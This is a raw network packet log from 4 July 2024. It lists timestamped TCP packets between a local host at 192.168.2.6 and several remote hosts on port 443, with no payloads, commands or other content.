Jul 4, 2024 20:18:33.248569012 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.248578072 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.257816076 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.257961988 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.257991076 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258462906 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258555889 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.258572102 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258599997 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258658886 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.258667946 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258716106 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258835077 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258852959 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.258861065 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258940935 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.258956909 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.258982897 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.259071112 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.302062035 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.302093029 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.341953993 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342067003 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.342081070 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342410088 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342458963 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342483997 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.342490911 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342541933 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.342848063 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.342924118 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.343039036 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.343317986 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.343425035 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.343432903 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.344356060 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.344470978 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.344477892 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.344579935 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.344700098 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.344707012 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.345406055 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.345510006 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.345518112 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.345942974 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.346057892 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.346064091 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.346149921 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.346251011 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.346259117 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.347187996 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.347278118 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.347284079 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.348012924 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.348124027 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.348130941 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.348175049 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.348360062 CEST	443	49870	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:33.348526955 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.351483107 CEST	49870	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:33.359539032 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:33.359607935 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:33.359805107 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:33.363516092 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:33.363529921 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:33.943465948 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:33.945252895 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:33.945291996 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:34.068820000 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:34.069066048 CEST	443	49871	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:34.069132090 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:34.069382906 CEST	49871	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:34.079933882 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:34.079996109 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:34.080070019 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:34.080349922 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:34.080360889 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:34.712460995 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:34.715912104 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:34.715982914 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:35.537646055 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:35.537714005 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.537743092 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:35.537837982 CEST	443	49872	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:35.537892103 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.538858891 CEST	49872	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.540767908 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.540807962 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:35.540874004 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.541196108 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:35.541208029 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.146770954 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.179044962 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.179079056 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.339689970 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.339701891 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.339776993 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.339788914 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.339833975 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.340661049 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.340668917 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.340717077 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.340722084 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.341243029 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.341286898 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.341293097 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.341342926 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.429475069 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.429650068 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.429657936 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.430330992 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.430461884 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.430466890 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.431972980 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.432080030 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.432085037 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.433064938 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.433201075 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.433206081 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521449089 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521523952 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.521531105 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521873951 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521882057 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521913052 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521943092 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.521950006 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.521981955 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.522115946 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.522124052 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.522207022 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.522212982 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523082018 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523088932 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523164034 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.523169994 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523844004 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523874044 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523901939 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.523907900 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.523936033 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.524804115 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.525005102 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.525010109 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.525571108 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.525688887 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.525695086 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.526595116 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.526676893 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.526681900 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.598931074 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.611449957 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.611458063 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.611493111 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.611520052 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.611635923 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.611752033 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.611758947 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.611860037 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.611865044 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612360954 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612368107 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612440109 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.612445116 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612848997 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612884045 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612917900 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.612925053 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.612955093 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.613064051 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.613157988 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.613163948 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.613796949 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.613874912 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.613878965 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.614470005 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.614567995 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.614572048 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.614734888 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.614792109 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.614795923 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702240944 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702399015 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.702404022 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702799082 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702805996 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702831030 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702846050 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702852964 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702862978 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.702872038 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.702876091 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702883005 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.702902079 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.702976942 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.703563929 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.703622103 CEST	443	49873	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:36.703629971 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.703712940 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.704119921 CEST	49873	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:36.714461088 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:36.714483976 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:36.717551947 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:36.717789888 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:36.717803955 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:37.289717913 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:37.297456026 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:37.297482967 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:37.418732882 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:37.419078112 CEST	443	49874	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:37.419132948 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:37.419642925 CEST	49874	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:37.421746969 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:37.421792030 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:37.421859980 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:37.422199965 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:37.422214985 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:38.021858931 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:38.023977995 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:38.024024963 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.175899982 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.176291943 CEST	443	49875	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.176455021 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.177453041 CEST	49875	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.178631067 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.178663969 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.178811073 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.181454897 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.181468010 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.814449072 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:39.816364050 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:39.816390038 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.047226906 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.047246933 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.047334909 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.047349930 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.048132896 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.048192024 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.048198938 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.048861980 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.048903942 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.048912048 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.098958015 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.141678095 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.141690969 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.141767025 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.141782999 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.142541885 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.142595053 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.142601967 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.144155979 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.144211054 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.144217968 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.145019054 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.145067930 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.145081043 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.208306074 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.235809088 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.235816002 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.235857010 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.235871077 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.235919952 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.236305952 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.236313105 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.236356974 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.236363888 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.236892939 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.236900091 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.236944914 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.236953020 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.237158060 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.237189054 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.237211943 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.237222910 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.237235069 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.237971067 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.238028049 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.238034964 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.238867998 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.238924026 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.238933086 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.315865993 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.315943003 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.315958023 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.316111088 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.316118956 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.316154957 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.316164017 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.316171885 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.316205025 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.330423117 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.330430031 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.330480099 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.330487967 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.330986023 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.330993891 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.331021070 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.331037045 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.331046104 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.331056118 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.331466913 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.331474066 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.331512928 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.331521034 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.332001925 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.332036018 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.332053900 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.332062006 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.332084894 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.332398891 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.332448959 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.332456112 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.333147049 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.333201885 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.333209991 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.333327055 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.333379030 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.333384991 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.334126949 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.334182978 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.334189892 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.334418058 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.334479094 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.334489107 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.335192919 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.335246086 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.335253000 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.413551092 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.415122986 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415128946 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415179968 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415210962 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.415215969 CEST	443	49876	13.107.139.11	192.168.2.6
